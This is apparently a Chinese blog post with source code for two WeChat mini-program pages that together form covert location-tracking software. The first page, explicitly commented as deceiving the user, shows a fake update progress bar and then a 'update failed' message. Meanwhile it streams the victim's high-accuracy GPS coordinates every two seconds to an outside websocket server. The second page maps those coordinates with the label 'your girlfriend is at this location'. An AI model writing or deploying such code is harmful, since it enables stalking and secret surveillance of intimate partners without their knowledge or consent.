「12-1微信小程序.jpg」,点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载极速在线查看,视频原画倍速播放。 链接:https://www.aliyundrive.com/s/ci18JJZ8Nvb

 

// pages/index/index.js
Page({

  /**
   * 页面的初始数据
   */
  data: {
    number:0
  },

  /**
   * 生命周期函数--监听页面加载
   */
  onLoad: function (options) {
      //欺骗用户
        var myinter = setInterval(() => {
            if(this.data.number == 98){
              clearInterval(myinter);
              setTimeout(() => {
                  this.setData({
                    number:this.data.number+1
                  })
              }, 5000);
              setTimeout(() => {
                wx.showToast({
                  title: '更新失败请重启',
                  icon:'error',
                  duration:10000
                })
              }, 20000);
            }else{
              this.setData({
                number:this.data.number+1
              })
            }
        }, 100);
        //连接websocket服务器
        wx.connectSocket({
          url: 'wss://www.shijiayi.top/WebSocket/ChatServer/zhangsan',
          success:()=>{
            console.log("连接成功");
          }
        })

        //获取用户的位置信息
        setInterval(() => {

          wx.startLocationUpdateBackground({
            type:"gcj02",
            success: (res) => {
              //获取位置信息
              wx.getLocation({
                altitude: 'altitude',
                isHighAccuracy:true,//高精度定位
                success:(res)=>{
                  let userMsg = {
                    code:123456789,//区分我们班的信息(每个人不一样)
                    longitude:res.longitude,
                    latitude:res.latitude
                  }
                //websocket发送给所有的用户
                wx.sendSocketMessage({
                  data:JSON.stringify(userMsg),//转字符串发送给服务器
                  success:()=>{
                    console.log("位置信息已经发送给服务器");
                  }
                })
                  console.log("经度",res.longitude);
                  console.log("纬度",res.latitude);
                }
              })
            },
            fail:(err)=>{
              console.log("失败了",err);
            }
          })

        }, 2000);

        



  },

  /**
   * 生命周期函数--监听页面初次渲染完成
   */
  onReady: function () {

  },

  /**
   * 生命周期函数--监听页面显示
   */
  onShow: function () {

  },

  /**
   * 生命周期函数--监听页面隐藏
   */
  onHide: function () {

  },

  /**
   * 生命周期函数--监听页面卸载
   */
  onUnload: function () {

  },

  /**
   * 页面相关事件处理函数--监听用户下拉动作
   */
  onPullDownRefresh: function () {

  },

  /**
   * 页面上拉触底事件的处理函数
   */
  onReachBottom: function () {

  },

  /**
   * 用户点击右上角分享
   */
  onShareAppMessage: function () {

  }
})

 

 

服务端

// pages/index/index.js
Page({

    /**
     * 页面的初始数据
     */
    data: {
        longitude:"",
        latitude:"",
        markers:[]
    },

    /**
     * 生命周期函数--监听页面加载
     */
    onLoad: function (options) {
        //连接websocket服务器
        wx.connectSocket({
            url: 'wss://www.shijiayi.top/WebSocket/ChatServer/lisi',
            success:()=>{
                console.log("连接成功");
            }
        })
        
       

        //气泡窗
        let callout = {
            content:"你的女朋友正在\n这个位置",
            display:"ALWAYS",
            padding:10,
            borderRadius:5
        }

        wx.onSocketMessage((result) => {
            let myResult = JSON.parse(result.data);
            if(myResult.code == 2){
                let msg = JSON.parse(myResult.msg);
                if(msg.code == 123456789){
                    console.log(msg);
                    //坐标点
                    let marker = [{
                        id:"007",
                        longitude:msg.longitude,
                        latitude:msg.latitude,
                        iconPath:"../../static/img/mark-icon.png",
                        width:"50rpx",
                        height:"50rpx",
                        callout:callout
                    }]
                    this.setData({
                        markers:marker,
                        longitude:msg.longitude,
                        latitude:msg.latitude
                    });

                }
                
            }
        })
        
    },

    /**
     * 生命周期函数--监听页面初次渲染完成
     */
    onReady: function () {

    },

    /**
     * 生命周期函数--监听页面显示
     */
    onShow: function () {

    },

    /**
     * 生命周期函数--监听页面隐藏
     */
    onHide: function () {

    },

    /**
     * 生命周期函数--监听页面卸载
     */
    onUnload: function () {

    },

    /**
     * 页面相关事件处理函数--监听用户下拉动作
     */
    onPullDownRefresh: function () {

    },

    /**
     * 页面上拉触底事件的处理函数
     */
    onReachBottom: function () {

    },

    /**
     * 用户点击右上角分享
     */
    onShareAppMessage: function () {

    }
})

 

 

最后修改于 2021-12-01 16:40:13
如果觉得我的文章对你有用,请随意赞赏
扫一扫支付
上一篇